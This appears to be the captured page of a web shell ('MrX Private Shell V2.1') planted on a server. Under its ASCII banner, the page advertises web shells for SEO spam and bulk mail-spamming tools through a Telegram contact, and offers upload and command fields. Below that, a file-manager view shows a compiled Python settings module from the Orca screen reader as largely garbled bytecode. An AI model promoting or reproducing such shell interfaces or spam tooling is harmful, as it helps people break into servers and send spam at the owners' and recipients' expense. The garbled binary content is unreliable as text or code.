__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g���X�SrSrSrSrSrSrSSKJrJr SSK	r	SS	K
JrJr "S
S5r
g)zJSON backend for Orca settingsz$Id$z
$Revision$z$Date$z7Copyright (c) 2010-2011 Consorcio Fernando de los Rios.�LGPL�)�load�dumpN)�settings�acssc�n�\rSrSrSrSrSrSrSrSr	SS	jr
SS
jrSSjrSr
S
rSrSrSrg)�Backend�"c��0Ul0Ul0Ul0Ul[R
R
US5Ul[R
R
US5UlS[R00S.0Ulg)z%Initialize the JSON Backend.
        zuser-settings.confzapp-settings�default)�profile�pronunciations�keybindingsN)�generalrr�profiles�os�path�join�settingsFile�appPrefsDirrr
�_defaultProfiles)�self�prefsDirs  �</usr/lib/python3/dist-packages/orca/backends/json_backend.py�__init__�Backend.__init__$sq����� ��������
��G�G�L�L��3G�H����7�7�<�<��.�A���!*�(�:J�:J�LN�IK�-.�!"���c���UURUUS.nXlURUlX lX0l[URS5n[XESS9 UR5 g)zASave default settings for all the properties from
orca.settings. )rrrr�w���indentN)	rrrrr�openrr�close)rrrr�prefsrs      r�saveDefaultSettings�Backend.saveDefaultSettings4se��$�!�2�2�#1� +�-��
���-�-��
�,��&���D�-�-�s�3���U��+����rc��[RRURUS35n[RR	U5(a)[US5n[
U5nUR5 U$0nU$)N�.conf�r)rrrr�existsr#rr$)r�appName�fileNamerr%s     r�get_app_settings�Backend.get_app_settingsEsk���7�7�<�<�� 0� 0�W�I�U�2C�D��
�7�7�>�>�(�#�#���#�.�L���&�E���� ����E��rc��URU5nURS05nUUUS.Xr'XvS'[RR	UR
US35n[
US5n	[XiSS9 U	R5 g)Nr)rrrr)rr r!)	r.�getrrrrr#rr$)
rr,r
rrrr%rr-rs
          r�saveAppSettings�Backend.saveAppSettingsPs����%�%�g�.���9�9�Z��,��(/�/=�,7�9���%�j���7�7�<�<�� 0� 0�W�I�U�2C�D���H�c�*���U��+����rc��UcSnX2S'XBS'[URS5n[U5nX&SU'URS5 UR	5 [XeSS	9 SSS5 g!,(df   g=f)
zFSave minimal subset defined in the profile against current 
defaults. Nrrr�r+rrr r!)r#rr�seek�truncater)rr
rrrrr%s       r�saveProfileSettings�Backend.saveProfileSettings]sx���?��G�$2� �!�!,�
��
�$�#�#�T�
*�l���&�E�)0�*��g�&����a� ��!�!�#���Q�/�+�
*�
*�s�>A+�+
A9c���[UR5n[U5nUSR	5UlUSUlUSUlUSR	5Ulg![a gf=f)z#Load from config file all settings Nrrrr)	r#rr�
ValueError�copyrrrr)rrr%s   r�_getSettings�Backend._getSettingsns|���D�-�-�.��	���&�E��Y�'�,�,�.���#�$4�5��� ��/����j�)�.�.�0��
���	��	�s�A'�'
A4�3A4Nc��UR5 URR5nURSSS/5nUcUSnURUR5nUR5HHupVUS:Xa1UR5Hupx[R"U5Xg'M US;dMDXbU'MJ USUS'U$![a X2S'U$f=f)	zMGet general settings from default settings and
override with profile values. �startingProfile�Defaultr��voices)r@�
activeProfiler
rD)	r=rr<r1r�itemsr�ACSS�KeyError)	rr
�generalSettings�defaultProfile�profileSettings�key�value�	voiceType�voiceDefs	         r�
getGeneral�Backend.getGeneralzs���	
�����,�,�+�+�-��(�,�,�->�.7��-C�E���?�$�Q�'�G��-�-��0�5�5�7��)�/�/�1�J�C��h��+0�;�;�=�'�I�'+�y�y��':�E�$�,9��>�>�',��$�2�	>�/>�y�/I�O�O�,�����	>�/=�O�,���	>�s�C�C�Cc��UR5 URR5nURUR5nSU;aUSnU$)zSGet pronunciation settings from default settings and
override with profile values. r)r=rr<r)rr
rrJs    r�get_pronunciations�Backend.get_pronunciations�sT��	
�����,�,�1�1�3���-�-��0�5�5�7����.�,�-=�>�N��rc��UR5 URR5nURUR5nSU;aUSnU$)zQGet keybindings settings from default settings and
override with profile values. r)r=rr<r)rr
rrJs    r�get_keybindings�Backend.get_keybindings�sS��	
�����&�&�+�+�-���-�-��0�5�5�7���O�+�)�-�8�K��rc�^�[RRUR5(+$)zCheck if we're in first start. )rrr+r)rs r�is_first_start�Backend.is_first_start�s ���7�7�>�>�$�"3�"3�4�4�4rc��X RU'[URS5n[U5nX$SU'UR	S5 UR5 [
XCSS9 SSS5 g!,(df   g=f)Nr5rrr r!)rr#rrr6r7r)rrKrLrr%s     r�_setProfileKey�Backend._setProfileKey�sg��!���S��
�$�#�#�T�
*�l���&�E�$)�)��S�!����a� ��!�!�#���Q�/�+�
*�
*�s�>A,�,
A:c���UR5 /nURR5H@nURUR5nUR	URS55 MB U$)zList available profiles. r
)r=r�keysr<�appendr1)rr�profileName�profileDicts    r�available_profiles�Backend.available_profiles�s]���������=�=�-�-�/�K��-�-��4�9�9�;�K��O�O�K�O�O�I�6�7�0��rc�N^^�UU4SjnTTR;aU"TR5 [TRS5n[U5nTUS;a6U"US5 UR	S5 UR5 [
XCSS9 SSS5 g!,(df   g=f)zRemove an existing profilec�>�UT	[U5S:Xa3TRH"nTRUR5X'M$ gg)Nr)�lenrr<)�dictr`r
rs  ��r�removeProfileFrom�1Backend.remove_profile.<locals>.removeProfileFrom�sF����W�
��4�y�A�~�#'�#8�#8�K�(,�(=�(=�k�(J�(O�(O�(Q�D�%�$9�rr5rrr r!N)rr#rrr6r7r)rr
rhrr%s``   r�remove_profile�Backend.remove_profile�s����	R��d�m�m�#��d�m�m�,�
�$�#�#�T�
*�l���&�E��%�
�+�+�!�%�
�"3�4��!�!�!�$��%�%�'��U��3�
+�
*�
*�s
�AB�
B$)rrrrrrr)N)r)�__name__�
__module__�__qualname__�__firstlineno__rr&r.r2r8r=rOrRrUrXr[rbrj�__static_attributes__�rrr	r	"sC��"� �"	��0�"
1��,��5�
0�	�4rr	)�__doc__�__id__�__version__�__date__�
__copyright__�__license__�jsonrrr�orcarrr	rqrr�<module>rzs8��,%�������I�
����	��n4�n4r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 153 B 0644
json_backend.cpython-313.pyc File 9.1 KB 0644
Filemanager